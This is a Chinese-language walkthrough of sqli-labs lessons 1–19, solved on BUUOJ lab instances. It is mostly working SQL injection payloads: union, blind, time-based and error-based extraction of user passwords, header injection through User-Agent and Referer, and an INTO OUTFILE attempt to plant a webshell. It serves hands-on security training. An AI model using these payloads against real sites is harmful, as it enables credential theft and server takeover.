用校园网可能不能成功发送payload,切记!!!

Less-01

  • 先判断是字符型注入还是数字型注入

    Ga9XGq.png

payload:http://8ac8c2ec-ac49-4043-98a6-ebb1506ca92f.node4.buuoj.cn/Less-1/?id=1 and 1=2–+


  • 再判断注入点

    Ga9m9b.png

payload:http://8ac8c2ec-ac49-4043-98a6-ebb1506ca92f.node4.buuoj.cn/Less-1/?id=-1' union select 1,2,3–+


  • 查看数据库名称

    Ga9sko.png

payload:http://8ac8c2ec-ac49-4043-98a6-ebb1506ca92f.node4.buuoj.cn/Less-1/?id=-1' union select 1,database(),3–+


  • 查看库中的表

    Ga9q0T.png

payload:http://8ac8c2ec-ac49-4043-98a6-ebb1506ca92f.node4.buuoj.cn/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=”security”–+


  • 查看用户表中字段

    Ga9e4r.png

payload:http://8ac8c2ec-ac49-4043-98a6-ebb1506ca92f.node4.buuoj.cn/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=”users”–+


  • 查看用户名和密码

    Ga9JxK.png

payload:http://4f1d0aae-57f1-4a98-b3ef-e509432f5d43.node4.buuoj.cn/Less-1/?id=-1' union select 1,group_concat(username,password),3 from security.users–+


  • 换个方式显示

    Ga9xj1.png

payload:http://4f1d0aae-57f1-4a98-b3ef-e509432f5d43.node4.buuoj.cn/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from security.users–+


Less-02

  • 判断是数字型注入还是字符型注入

payload:http://4f1d0aae-57f1-4a98-b3ef-e509432f5d43.node4.buuoj.cn/Less-2/?id=3-1


  • 判断注入点

    Ga9H0u.png

payload:http://4f1d0aae-57f1-4a98-b3ef-e509432f5d43.node4.buuoj.cn/Less-2/?id=-1%20union%20select%201,2,3--+


  • 往下操作与第一题类似,payload就差了一个单引号

    Ga9bjv.png

payload:http://4f1d0aae-57f1-4a98-b3ef-e509432f5d43.node4.buuoj.cn/Less-2/?id=-1%20union%20select%201,group_concat(username),group_concat(password)%20from%20security.users--+


Less-03

  • 判断为字符型注入还是数字型注入

    Ga9NuR.png

payload:http://4f1d0aae-57f1-4a98-b3ef-e509432f5d43.node4.buuoj.cn/Less-3/?id=2-1


  • 该题为字符型注入,但直接使用联合注入报错

    Ga90Nn.png

payload:http://4f1d0aae-57f1-4a98-b3ef-e509432f5d43.node4.buuoj.cn/Less-3/?id=-2%27%20union%20select%201,2,3--+


  • 根据题目提示,在id表示的数据及引号后加上括号,再进行联合注入,注入成功

    Ga9vRP.png

payload:http://4f1d0aae-57f1-4a98-b3ef-e509432f5d43.node4.buuoj.cn/Less-3/?id=-2%27)%20union%20select%201,2,3--+


  • 往下与第一题相同,union后的payload一致

    Ga9wA6.png

payload:http://4f1d0aae-57f1-4a98-b3ef-e509432f5d43.node4.buuoj.cn/Less-3/?id=-2%27)%20union%20select%201,group_concat(username),group_concat(password)%20from%20security.users--+


Less-04

  • 判断为字符型注入还是数字型注入

    Ga98Ih.png

payload:http://4f1d0aae-57f1-4a98-b3ef-e509432f5d43.node4.buuoj.cn/Less-4/?id=2-1


  • 使用单引号进行闭合,报错

    Ga9I10.png

payload:http://4f1d0aae-57f1-4a98-b3ef-e509432f5d43.node4.buuoj.cn/Less-4/?id=-1%27%20union%20select%201,2,3--+


  • 组合单引号、双引号以及括号得到注入点

    Ga97r5.png

payload:http://4f1d0aae-57f1-4a98-b3ef-e509432f5d43.node4.buuoj.cn/Less-4/?id=-1") union select 1,2,3–+


  • 往下步骤与上述题目相同

    Ga96lm.png

payload:http://4f1d0aae-57f1-4a98-b3ef-e509432f5d43.node4.buuoj.cn/Less-4/?id=-1%22)%20union%20select%201,group_concat(username),group_concat(password)%20from%20security.users--+


Less-05

  • 判断为字符型注入还是数字型注入

    回显报错数据,尝试盲注

    GetUSz.png

payloadhttp://bb14e092-f5e9-4e78-83cb-bc6ded391eb2.node4.buuoj.cn/Less-5/?id=1%27%20and%20select%201,2,3--+


  • 对查询结果进行切片,再与各个字符比较,根据报错与否判断比较结果

    Get68n.png

payloadhttp://bb14e092-f5e9-4e78-83cb-bc6ded391eb2.node4.buuoj.cn/Less-5/?id=1%27and%20substr((select%20group_concat(schema_name)%20from%20information_schema.schemata),1,1)=%27c%27--+


  • 改变上一个payload中c的值以遍历出数据库名称,再结合前面题目的payload逐步爆出表名和列名

    GetKoR.png

payloadhttp://bb14e092-f5e9-4e78-83cb-bc6ded391eb2.node4.buuoj.cn/Less-5/?id=1%27and%20substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%22security%22),1,1)=%27e%27--+


  • 列名以此类推

可以用python写个脚本来跑,或者使用burpsuite

另外,还可以使用updataxml()函数来获取相关信息

Gi3aM0.png

payloadhttp://3ac97a07-8597-4e0b-9689-f364b63dc003.node4.buuoj.cn/Less-5/?id=1%27and%20updatexml(1,concat(0x7e,(SELECT%20@@datadir),0x7e),1)--+


Less-06

与上一道题类似,将单引号换为双引号


Less-07

  • 利用永真永假的条件配合and和or判断参数id的闭合方式

Gi318m.png

payloadhttp://3ac97a07-8597-4e0b-9689-f364b63dc003.node4.buuoj.cn/Less-7/?id=1%27))%20and%201=1--+


  • 利用select xxx into outfile xxx/xxx的方式向服务器中写入文件,文件内容为一句话木马

Gi3PX5.png

payloadhttp://3ac97a07-8597-4e0b-9689-f364b63dc003.node4.buuoj.cn/Less-7/?id=1')) union select 1,’2’,”“ into outfile “./“ –+

由于不知道网站的根目录,所以目前无法对传入文件的成功与否做出判断


Less-08

  • 判断参数闭合方式

GiXeU9.png

payloadhttp://3ac97a07-8597-4e0b-9689-f364b63dc003.node4.buuoj.cn/Less-8/?id=1%27%20or%201=1%20--+


  • 由于注入错误时不回显,因此可以使用上述的盲注

GiXEng.png

payloadhttp://3ac97a07-8597-4e0b-9689-f364b63dc003.node4.buuoj.cn/Less-8/?id=1%27and%20substr((select%20group_concat(schema_name)%20from%20information_schema.schemata),1,1)=%27c%27--+


  • 往后步骤与上述盲注步骤一致

Less-09

  • 在判断参数闭合方式时,发现回显不改变

GiX3qE.png

payloadhttp://3ac97a07-8597-4e0b-9689-f364b63dc003.node4.buuoj.cn/Less-9/?id=1%27%20and%201=2--+


  • 尝试基于时间的盲注

GiXxPX.png

可以看到网页根据设定的时间正在加载,说明注入成功

payloadhttp://3ac97a07-8597-4e0b-9689-f364b63dc003.node4.buuoj.cn/Less-9/?id=1%27%20and%20if(1,sleep(3),1)--+


  • 接下来只需要将sleep函数的第一个参数替换为payload,即可根据网页响应时间判断结果

GiXXTY.pngGiXXTY.png

payload取上述盲注payload的查询部分

payloadhttp://3ac97a07-8597-4e0b-9689-f364b63dc003.node4.buuoj.cn/Less-9/?id=1%27%20and%20if((substr((select%20group_concat(schema_name)%20from%20information_schema.schemata),1,1)=%27c%27),sleep(3),1)--+


Less-10

  • 将闭合参数的单引号替换为双引号,其余一致

Less-11

这道题是使用post方式提交数据的,在多次尝试以及上网找资料之后,发现有两点需要注意

  • 不可以直接将url编码之后的数据(如%20)直接提交
  • 最后的注释不可以用“–+”,而应该用“#”

GvklDS.png

上面这样注释是行不通的,用“#”代替“–+”之后如下图

GvkHao.png

然后再用之前写过的题当中出现的联合注入

Gvkigb.png

GvkbHD.png


Less-12

原理同上一题一致,唯一差别是闭合方式不同

GvraLC.png

Gvr1NQ.png


less-13

这道题的闭合方式与上一道题目比较相似,只不过把双引号替换为单引号,比较不一样的是这道题不可以使用上一道题的联合注入,可以使用报错注入,具体的payload可参照上述题目有关报错注入的部分

下图是联合注入后无回显的结果

Gvhw7o.png


这里使用了报错注入返回了mysql的绝对路径

payload:1’) and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)#

GvhNBD.png


这里查询到了当前的数据库

Gvhvnb.png


需要注意的是由于返回长度的限制,回显无法显示所有的结果,可以根据payload作相应调整

payload:1’) and updatexml(1,concat(0x7e,(select group_concat(username,password) from security.users),0x7e),1)#

GvhdFK.png


Less-14

这道题与上一道题类似,唯一不同的仍是闭合方式不同


Less-15

这道题考察的是post方式的基于时间的盲注

GQtNsK.png

GQtvzT.png

一开始依然先判断闭合方式


然后用if语句构造基于时间的盲注

这里无需关注是否登录成功,只需关注响应时间

GQtQvb.png


然后根据上述题目中有关基于时间的盲注有关的题目的payload进行注入

payload:1’ or if((substr((select group_concat(schema_name) from information_schema.schemata),1,1)=’c’),sleep(2),1) #

GQt0B1.png


Less-16

这道题与上一道题目差不多,唯一区别仍是闭合方式不同


Less-17

这道题涉及到了sql语句中update部分,模拟的是在登录成功后修改密码时的注入

这里由于无法回显闭合方式是否正确,故使用基于时间的盲注中的小技巧进行判断

GQAE1g.png


往下的过程涉及到子查询的概念,即以查询的结果作为下一次查询的范围

查数据库

GQAm6P.png


往后只需将select database()替换为先前题目中相应的payload即可

GQALuz.png


Less-18

一开始给出了本机的ip地址,意义不明(估计是提示可以注入某些类型的信息以执行)

GzPBct.png

再经过对username和password的多次注入后发现没有什么效果,尝试登录


GzPR3v.png

可以看出登录后回显了user agent,则可以通过抓包修改user agent的方式注入

GzPZME.png
GzPCru.png

payload:’and updatexml(1,concat(0x7e,database(),0x7e),1) or ‘


Less-19

这道题与上一道差不多,只不过修改的是Referer字段

GzPJXR.png
GzPxVn.png

payload:与上一道题一致

评论